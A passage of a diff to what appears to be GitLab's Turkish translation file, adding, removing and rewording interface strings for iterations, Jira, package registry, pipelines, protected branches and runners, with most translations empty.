+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr "Ä°ÅŸler"
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr "%{time_ago} katıldı"
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr "Daha fazlasını öğrenin"
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr "Yönet"
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr "Maksimum gecikme (dakika)"
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr "Maksimum içe aktarma boyutu (MB)"
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr "Medyan"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr "ör. ist/sn"
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr "Microsoft Azure"
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,15 +21620,15 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
+msgid "NetworkPolicies|Scan Execution"
+msgstr ""
+
msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
-msgid "NetworkPolicies|Status"
-msgstr "Durum"
-
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -22132,9 +21823,6 @@ msgstr "Yeni sorun başlığı"
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr "Yeni dönüm noktası"
msgid "New password"
msgstr "Yeni ÅŸifre"
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr "Depo bulunamadı"
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr "Ön izlenecek bir şey yok."
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr "Bildirim etkinlikleri"
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr "Üzgünüz, filtreniz sonuç vermedi"
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Toplam:"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr "aÅŸama ile"
msgid "Pipeline|with stages"
msgstr "aÅŸamalar ile"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr "Profili Düzenle"
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr "Adınızı girin, böylece insanlar sizi tanıyabilir"
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr "'%{project_name}' projesi %{date} tarihinde silinecek"
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr "Proje zaten silinmiÅŸ"
msgid "Project and wiki repositories"
msgstr "Proje ve wiki depoları"
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr "Proje profil resmi"
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr "Proje açıklaması (isteğe bağlı)"
-msgid "Project details"
-msgstr "Proje ayrıntıları"
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr "Projeye Genel Bakış"
-
msgid "Project path"
msgstr "Proje yolu"
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Asla"
-msgid "ProjectLifecycle|Stage"
-msgstr "AÅŸama"
-
msgid "ProjectOverview|Fork"
msgstr "Çatalla"
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr "BoÅŸ proje oluÅŸtur"
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr "Åžablondan oluÅŸtur"
@@ -26303,9 +26000,6 @@ msgstr "İçe aktar"
msgid "ProjectsNew|Import project"
msgstr "Projeyi içe aktar"
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr "BENÄ°OKU ile depo baÅŸlat"
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr "Daha fazla bilgi"
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr "Sorunu bir epiğe yükselt"
@@ -26516,9 +26198,6 @@ msgstr "Proje bir gruba ait deÄŸil."
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr "Sorun bir epiğe yükseltildi."
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} geliştiriciler için yazılabilir olacak. Emin misiniz?"
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr "Ä°lgili Sorunlar"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr "Bir epikten üst epiği kaldır"
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr "Bu %{quick_action_target} yeniden açıldı."
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
-msgstr "Kimlik doğrulamayı onar"
-
msgid "Replace"
msgstr "DeÄŸiÅŸtir"
+msgid "Replace %{name}"
+msgstr ""
+
msgid "Replace all label(s)"
msgstr "Tüm etiketleri değiştir"
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr "Yol haritası"
@@ -28258,9 +27958,6 @@ msgstr "Rol"
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
